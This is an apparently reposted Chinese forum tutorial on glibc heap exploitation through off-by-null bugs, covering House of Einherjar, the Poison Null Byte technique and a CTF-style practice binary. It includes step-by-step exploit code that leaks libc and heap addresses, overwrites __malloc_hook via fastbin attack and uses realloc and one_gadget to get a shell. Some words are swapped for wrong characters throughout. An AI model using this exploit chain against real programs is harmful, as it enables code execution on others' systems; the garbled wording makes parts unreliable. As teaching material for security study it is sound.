Off-By-Null
Off By Null和Off By One差别在于只能溢出一个Null Byte而不是一个可控的字符
相比之下难度更大一些,这一节主要是两个利用Off by Null漏洞的方法
House of Einherjar思路是清除一个申请了的chunk的prev_inuse位,之后在free的时候触发consolidate使得前一个chunk存在两个指针;
Google Posion Null Byte则是针对free掉了的chunk,通过修改free chunk的大小,使被溢出的chunk被再次申请时错误更新prev_inuse位,终极free后一个chunk时触发consolidate。
House of Einherjar
可以malloc三次smallbin,溢出一个Null byte
构造一个chunk_B大小0x100,清掉prev_inuse位,伪造一个prev_size到user的位置
user内里把fd、bk都设置成本身绕过safe unlink检查
username = p64(0) + p64(0x91) + p64(elf.sym.user) + p64(elf.sym.user)chunk_A = malloc(0x88)chunk_B = malloc(0xf8)edit(chunk_A, p64(0)*16+p64(heap-elf.sym.user+0x90))# consolidatefree(chunk_B)如许在free的时候提示了一个错误 corrupted size vs. prev_size
这部分比较的具体内容是这里
chunksize(P)!=prev_size(next_chunk(P))也就是在user处伪造的chunk size 0x91和
从0x91这个chunk找到下一个chunk,看这个chunk的prev_inuse字段
发现这两个值不相等
一个简朴的绕过方法就是将伪造的这个值设置为8,如许通过prev_size(next_chunk(P))找到的也是这个8本身,就发现两者相等
固然这个值不是一个有效的chunk size,但是可以如许绕过
接下来free B时发生consolidate,直接从Top chunk归并到user这里
由于top chunk都到这里了,接下来直接申请一个新的chunk就可以修改下面的target了
Posion Null Byte
前面的思路是消除一个已经申请了的chunk的prev_inuse
然后利用consolidate得到一个dup的指针
而Off By Null还有一种针对已经free掉的chunk的利用方法,最初是2014年时glibc中被爆出一个堆上的off by null漏洞,google project zero的一个人利用这个漏洞获取到了代码执行的权限,后续又在实际的程序上举行了利用(pkexec)
pkexec利用
CVE-2014-5119
Glibc上的利用
这里有三个链接可以参考一下;
原理
举例阐明的话,首先申请三个chunk
头尾不重要,中间的chunk假设大小是0x210,将其free掉之后可以得到图中左边的状态
这时利用Null Byte的溢出修改这个chunk的大小为0x200,但是chunk_C处的prev_size是没有变化的
接下来申请两次0x100,这里会触发之前介绍过的remaindering,分割成了两个0x100的chunk
但是由于chunk_B的大小被溢出改成了0x200,chunk_C的prev_inuse并没有被设置为1
而是更新到了B2和C之间的0x10字节上
这时执行free(chunk_C),由于C的prev_inuse是0,并且prev_size是0x210
会直接将C和B1、B2归并(consolidate)全部free掉
这时再次申请的内容就会与chunk_B1、chunk_B2发生重叠
如许就可以得到一个overlap的指针,而有了overlap的指针就可以进一步实施unsortedbin attack、fastbin attack等等
实践
这个文件的保护机制全部都是打开的状态
堆菜单的功能有malloc、edit、free和read
但是这个程序没有泄漏出堆所在和libc的所在
栈上生存着一个变量m_array,用于存储堆申请chunk的相关信息
每一项有两个8字节构成,user_data是申请空间的所在,request_size是申请的大小
漏洞在于edit函数中
这里在执行时首先直接读取申请大小的内容到user_data处
tmp = read(0, m_array[na].user_data, m_array[na].request_size)read的返回效果为乐成写入的字节
m_array[na].user_data[tmp]=0之后如许一个操纵在写入的内容后面又加入一个0
这一个字节也就是溢出的一个Null字节
按照上面介绍的原理直接写一下exploit
chunk_A = malloc(0x88)chunk_B = malloc(0x208)chunk_C = malloc(0x88)chunk_D = malloc(0x88)free(chunk_B)edit(chunk_A,"a"*0x88)chunk_B1 = malloc(0xf8)chunk_B2 = malloc(0xf8)free(chunk_C)但是如许运行会看到一个熟悉的错误
unlink时出现错误,原因就是chunk_B在safe unlink时bk->fd==p && fd->bk==p这个条件不满足
在以往的程序中要绕过也很容易,只必要将chunk_B1的fd、bk都设置为自身,就可以通过这个判定;
但是如许的前提是程序存在一个堆的所在泄漏
这里可以利用的方法是将B1释放,让它真的是一个unsortedbin,如许就可以通过unlink的条件
overlap的chunk还有B2,也可以用于进一步的攻击
chunk_A = malloc(0x88)chunk_B = malloc(0x208)chunk_C = malloc(0x88)chunk_D = malloc(0x88)free(chunk_B)edit(chunk_A,"a"*0x88)chunk_B1 = malloc(0xf8)chunk_B2 = malloc(0xf8)free(chunk_B1)free(chunk_C)执行exploit可以看到触发了consolidate,chunk_B和C归并后放到了unsortedbin中
其中绿色是chunk_B1,蓝色是chunk_B2,赤色是chunk_C
目前chunk_B2的指针还是可用的,接下来先利用unsortedbin leak得到libc的所在和堆所在
libc的所在可以通过再次申请B1,触发remaindering之后填在B2的fd和bk处
而堆所在的话,则可以通过释放chunk_A,将chunk_A也加入到unsortedbin中
如许更新fd、bk时会在B2的fd写入main_arena中的所在,bk写入chunk_A的所在;
就可以一次读获取到两个leak
chunk_B1 = malloc(0xf8)free(chunk_A)data = read(chunk_B2,16)libc.address = libc.sym.__malloc_hook - (u64(data[:8])-0x68)heap = u64(data[8:])有了libc的所在,最后利用fastbin attack修改malloc_hook就可以拿到shell了
chunk_A = malloc(0x88)fast = malloc(0x68)free(fast)edit(chunk_B2, p64(libc.sym.__malloc_hook - 0x23))fast = malloc(0x68)target = malloc(0x68)edit(target, b'a'*0x13+p64(libc.address+one_gadget))首先把chunk_A申请回来
然后申请一个大小为0x68的chunk,这个chunk和B_2是同一个指针
将其free掉加入到fastbin中
执行fastbin attack将malloc_hook修改为one_gadget
但是执行之后会发现libc的几个one_gadget都没办法执行
在这里下一个断点调试一下b *__malloc_hook
三个one_gadget必要满足的条件依次为:
rax==NULL
[rsp+0x30]==NULL
[rsp+0x50]==NULL
而运行到这里时,栈的情况为
这两个条件都不满足,同时rax的值也不是0
但是可以留意到0x50的位置固然不是0,但是0x58的位置是0
如果能够想办法让这个0在0x50处就好了。
这里涉及到一种调解栈的方法,利用realloc_hook调解栈
realloc_hook就在malloc_hook的前面,因此利用fastbin attack也是可以覆盖这个位置的
realloc函数开始位置首先有一系列push,之后执行realloc_hook
将malloc_hook填为realloc的所在加一个偏移(如许减少push的数量达到调解栈的目标)
将realloc_hook填为目标的one_gadget
如许触发时首先执行malloc_hook即realloc加偏移,之后执行realloc_hook即one_gadget
那么首先我们修改一下exploit的最后一行
edit(target, b'a'*0xb+p64(libc.address+one_gadget)+p64(libc.sym.realloc+2))要使0x58的0到0x50处,只必要少push一个值即可
所以在malloc_hook处填写为realloc+2的所在
再运行一下可以看到这里0x50就已经是0了,满足了one_gadget的条件
最后的exploit
chunk_A = malloc(0x88)chunk_B = malloc(0x208)chunk_C = malloc(0x88)chunk_D = malloc(0x88)free(chunk_B)edit(chunk_A,"a"*0x88)# 溢出一个Null Bytechunk_B1 = malloc(0xf8)# renmainderingchunk_B2 = malloc(0xf8)free(chunk_B1)# 将B1加入到unsortedbin,从而绕过safe unlinkfree(chunk_C)# 触发consolidate,B、C的空间都加入到unsortedbinchunk_B1 = malloc(0xf8)free(chunk_A)# 将B2的fd、bk变成libc的泄漏所在和堆的泄漏所在data = read(chunk_B2,16)libc.address = libc.sym.__malloc_hook - (u64(data[:8])-0x68)heap = u64(data[8:])# 计算得到堆所在和libc所在chunk_A = malloc(0x88)# 申请回来chunk_Afast = malloc(0x68)free(fast)# 将B2的位置释放为fastbinedit(chunk_B2, p64(libc.sym.__malloc_hook - 0x23))# 利用fastbin attack得到malloc_hook写能力fast = malloc(0x68)target = malloc(0x68)one_gadget = 0xd6fb1edit(target, b'a'*0xb + p64(libc.address+one_gadget) + p64(libc.sym.realloc+2))# 利用realloc调解栈不过除了如许调解one_gadget的做法,还可以结合fastbin attack和unsortedbin attack,转而修改free_hook而不是malloc_hook
具体可以看这里
如许就可以直接free掉一个/bin/sh字符串获得权限了
off-by-null.zip
13.11 KB, 下载次数: 7, 下载积分: 吾爱币 -1 CB
来源:http://www.12558.net
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
楼主热帖